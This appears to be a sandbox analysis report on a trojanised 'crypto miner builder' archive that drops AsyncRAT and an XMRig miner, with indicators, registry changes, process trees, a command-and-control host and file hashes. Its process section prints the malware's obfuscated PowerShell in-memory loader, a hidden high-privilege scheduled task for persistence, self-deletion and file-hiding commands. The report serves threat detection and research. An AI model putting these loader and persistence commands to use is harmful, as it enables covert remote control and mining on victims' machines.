Analysis Overview
SHA256
2d892e65432b58585112e78deec5750652a25249dd4f56e0fd6d47fe7804baf1
Threat Level: Known bad
The file Silent.Crypto.Miner.Builder.rar was found to be: Known bad.
Malicious Activity Summary
Xmrig family
AsyncRat
XMRig Miner payload
Async RAT payload
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Hide Artifacts: Hidden Files and Directories
Unsigned PE
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Views/modifies file attributes
Suspicious use of FindShellTrayWindow
Opens file in notepad (likely ransom note)
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Modifies registry class
Suspicious behavior: GetForegroundWindowSpam
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-27 16:12
Signatures
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xmrig family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-27 16:12
Reported
2024-06-27 16:14
Platform
win11-20240419-en
Max time kernel
55s
Max time network
61s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe | N/A |
| N/A | N/A | C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe | N/A |
| N/A | N/A | C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe | N/A |
| N/A | N/A | C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\startup_str.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\Desktop\1\Repo\bin\unam.exe | N/A |
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell\open | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7zFM.exe\" \"%1\"" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \Registry\User\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\NotificationData | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings | C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell\open\command | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 500031000000000093587a4d1000372d5a6970003c0009000400efbe93587a4d93587a4d2e0000006f9f0200000008000000000000000000000000000000c706420037002d005a0069007000000014000000 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "2" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 8c003100000000009358c252110050524f4752417e310000740009000400efbec55259619358c2522e0000003f0000000000010000000000000000004a00000000005cfc1200500072006f006700720061006d002000460069006c0065007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370038003100000018000000 | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff | C:\Windows\system32\OpenWith.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Applications\7zFM.exe\shell | C:\Windows\system32\OpenWith.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" | C:\Windows\system32\OpenWith.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\NOTEPAD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Program Files\7-Zip\7zFM.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\7-Zip\7zFM.exe | N/A |
| N/A | N/A | C:\Program Files\7-Zip\7zFM.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\startup_str.bat.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Silent.Crypto.Miner.Builder.rar
C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Silent.Crypto.Miner.Builder.rar"
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
"C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
"C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
"C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\1\Repo\bin\dll.bat" "
C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe
"C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\Desktop\1\Repo\bin\dll.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1636);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe" & exit
C:\Windows\system32\attrib.exe
ATTRIB +H "C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str.vbs"
C:\Users\Admin\Desktop\1\Repo\bin\unam.exe
"C:\Users\Admin\Desktop\1\Repo\bin\unam.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str.bat" "
C:\Users\Admin\AppData\Roaming\startup_str.bat.exe
"C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\startup_str.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4672);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" & exit
C:\Windows\system32\attrib.exe
ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe"
C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\1\Repo\bin\dll.bat
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | windowsignn.theworkpc.com | udp |
| DE | 94.130.130.51:6606 | windowsignn.theworkpc.com | tcp |
| DE | 94.130.130.51:6606 | windowsignn.theworkpc.com | tcp |
| DE | 94.130.130.51:6606 | windowsignn.theworkpc.com | tcp |
Files
C:\Users\Admin\Desktop\1\Silent Crypto Miner Builder.exe
| MD5 | 29d9c4a6c0be4ebb665ca5f423da7bdb |
| SHA1 | d22b7b928436ba4f9d7a3a40a6db20a227b57c2a |
| SHA256 | d833831e38738d03ed6156ec458d3252c379cf7c9c986fcfe8626184d3bceafd |
| SHA512 | 114e82df03e624ef350a5c71bd05594f9075afce7a2d978ede81a9cc086a9d87fec7884b5f5e7e1b52b8a24741fdaf453033b486b87d79cc599af37162870d0d |
memory/1524-8-0x0000023EAF400000-0x0000023EAF426000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5hphjocl.mq3.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
